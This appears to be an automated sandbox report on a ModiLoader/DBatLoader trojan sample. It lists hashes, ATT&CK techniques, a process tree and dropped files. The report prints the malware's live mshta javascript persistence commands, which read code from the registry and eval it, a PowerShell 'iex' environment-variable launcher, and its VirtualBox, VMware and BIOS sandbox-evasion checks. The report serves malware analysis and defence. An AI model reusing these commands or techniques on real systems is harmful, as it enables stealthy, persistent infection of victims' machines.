modiloader | b4916e08608cc89f83c2d1654b096f1c00d4b2b74da34ecdb39974452dd45594

General

Target

9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
Size

264KB
MD5

9e817e2a653d2dd0ff7067413c04508c
SHA1

bf3a543152a5554d20f49c2ba2f11101895129f0
SHA256

b4916e08608cc89f83c2d1654b096f1c00d4b2b74da34ecdb39974452dd45594
SHA512

79a02436a75d1968e34a9225e3af77956b6f2d3af298ac789370719a1eb49c80b781b2f5503e698bc8813df9b3255177178d753e663dfbac3e04c272355cb25e
SSDEEP

6144:zN9obtouc5JGLycyqQgQl4TisvG5qwayQ7ShI223F/:59McvMycyqQxGusubaF76I3R

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2540 2536 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	2536	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 60 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2736-3-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-7-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-8-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-9-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-13-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-12-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-11-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-10-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-14-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2736-15-0x0000000001CA0000-0x0000000001D76000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-24-0x0000000006250000-0x0000000006326000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-27-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-26-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-29-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-30-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-44-0x0000000006250000-0x0000000006326000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-43-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-49-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-48-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-47-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-46-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-45-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-42-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-41-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-40-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-39-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-38-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-37-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-36-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-35-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-34-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-33-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-32-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-31-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-50-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-57-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-58-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-56-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-55-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-54-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-53-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-52-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-51-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1688-69-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/572-70-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-71-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-78-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-85-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-83-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-82-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-81-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-80-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-79-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-77-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-76-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-75-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-73-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-72-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-84-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2
behavioral1/memory/572-74-0x0000000000240000-0x0000000000381000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1688 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk regsvr32.exe

pid	process
1688	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:cd7Ycqfd4=\"pv\";EM0=new%20ActiveXObject(\"WScript.Shell\");Ca1opf0r=\"QyoSoZ0\";TLgA5=EM0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bfow\\\\niegp\");lFgwU93a=\"L\";eval(TLgA5);GYh2O=\"FweA2v\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:jH0bF=\"G3O\";Tq6=new%20ActiveXObject(\"WScript.Shell\");EBwg1Vb=\"U\";SrB58k=Tq6.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");gRA1MgAR4=\"s\";eval(SrB58k);SeRgKE4=\"20Iw02\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7358d4\\e5ae70.lnk\""	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2400 set thread context of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2960 set thread context of 1688	2960	powershell.exe	regsvr32.exe
PID 1688 set thread context of 572	1688	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f\ = "2070de"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:ZbJd32d=\"ADUGc2D\";jM5=new ActiveXObject(\"WScript.Shell\");wsc8BzE=\"Gcu6\";DIuf7=jM5.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");lnGd9D=\"oOSeAe\";eval(DIuf7);QrxRg6=\"XcE\";\""	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe
1688	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2960 powershell.exe
1688 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2960 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe

pid process

2400 9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe

description	pid	process
Token: SeDebugPrivilege	2960	powershell.exe

pid	process
2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2400 wrote to memory of 2736	2400	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe	9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
PID 2540 wrote to memory of 2960	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2960	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2960	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2960	2540	mshta.exe	powershell.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 2960 wrote to memory of 1688	2960	powershell.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe
PID 1688 wrote to memory of 572	1688	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400

C:\Users\Admin\AppData\Local\Temp\9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9e817e2a653d2dd0ff7067413c04508c_JaffaCakes118.exe"
2⤵
PID:2736

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:n9B5gC="67g";PZ8=new%20ActiveXObject("WScript.Shell");N3Yr9V="fe0dEBJ";yj4cQ0=PZ8.RegRead("HKLM\\software\\Wow6432Node\\fePaH8s\\eR9E7yiMb");tpb9cS="L9Xo";eval(yj4cQ0);DBT5Yl5l="kGb05AD";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:obho
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Virtualization/Sandbox Evasion

3

T1497

Credential Access

Discovery

File and Directory Discovery

1

T1083

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

3

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\7358d4\2d9c5e.1879f4f
Filesize
3KB

MD5
9d9373c17bfa8c47b7f315bb8e0f753a

SHA1
1e3f4bd9242fea9ed001e64aa10effdb1009013e

SHA256
6f71c899ae5ac571896aeffcffb1e6729f2b391e994d7275e0ac4f552722afa1

SHA512
84c43be13b03089f8e5febb97ae9e79bbddc76e52a287ac9080a4846bfc2969ed7d0b2a720566d2a8eea61cbe9807c925b1a704b465d9da88d50395f8242a077

Download Submit
C:\Users\Admin\AppData\Local\7358d4\6d45a7.bat
Filesize
61B

MD5
14adc766d85da95cd0990ed6bcc1524d

SHA1
e3c8f83a8fbfea658c9139d3e670d609745fb848

SHA256
0245cf83462c2d8f2453beb1094af0133caee498c1ab5147ee361cb8a449c1c4

SHA512
b4172624d668b6c1e7519cca9cbb53645ecc8b9aa1e4908801fd81983b092ed7ad26e3e29047ff5dc4e7744ee9f08dc61765133fa5957926cb4518127f4b60b8

Download Submit
C:\Users\Admin\AppData\Local\7358d4\e5ae70.lnk
Filesize
877B

MD5
a57d673ecd2a379d71b91fa975a2e993

SHA1
ff8b27049a77bcb08fcbbac5f81ed17744ea9c84

SHA256
8f9e9d41640ae4e709ed40d2ae71dda44e98e70602485b9900c87432ef831c0a

SHA512
d474dbf51b0076f8c2fc270c2d869e1d7272f6422a200ad068d715bb05b1f065809ffed176a161a9f1858606150082a8d41fb27e5096383c59347961cd72a828

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk
Filesize
987B

MD5
174c32c48177b31bb554da2526fb2def

SHA1
422d5566562274383aa131919c53757bb9888440

SHA256
61b02ea5237044adf7295e601bb747b2cd001c56c9a4bf0d1036a549b4856edd

SHA512
63680c26700feecc170e5ef5b0bb2bb129594b9849d2435217f0ba8432ff3c6febed1bafe6da5833b2c5f68626bb1defe3eccc103662010fb0168686f13f0b9f

Download Submit
C:\Users\Admin\AppData\Roaming\e53183\8858ab.1879f4f
Filesize
6KB

MD5
ce420f1bf9001c7f2e4eb99b1671231b

SHA1
fa2bf83dc89af09624e23e3ec8e6b9a363620745

SHA256
67df8b2085d9a20e88c8c5a5c19941661e91bf9a6664d8408b817619aae5a1e7

SHA512
428304cde9072ad922c2358070af8f36db64cd3405c6babeb2ac1927ad8ea2d2551a270e86c7f2d58952bd91caea2e20914afe9cac161bdaf9594c856ec98220

Download Submit
memory/572-75-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-74-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-84-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-72-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-73-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-70-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-76-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-77-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-79-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-80-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-81-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-82-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-83-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-85-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-78-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/572-71-0x0000000000240000-0x0000000000381000-memory.dmp

Filesize
1.3MB

Download
memory/1688-49-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-51-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-41-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-40-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-39-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-38-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-37-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-36-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-35-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-34-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-33-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-32-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-31-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-50-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-57-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-58-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-56-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-55-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-54-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-53-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-52-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-42-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-69-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-45-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-46-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-47-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-48-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-27-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-43-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-26-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-30-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1688-29-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2736-3-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2736-15-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-14-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-10-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-11-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-12-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-13-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
memory/2736-9-0x0000000001CA0000-0x0000000001D76000-memory.dmp

Filesize
856KB

Download
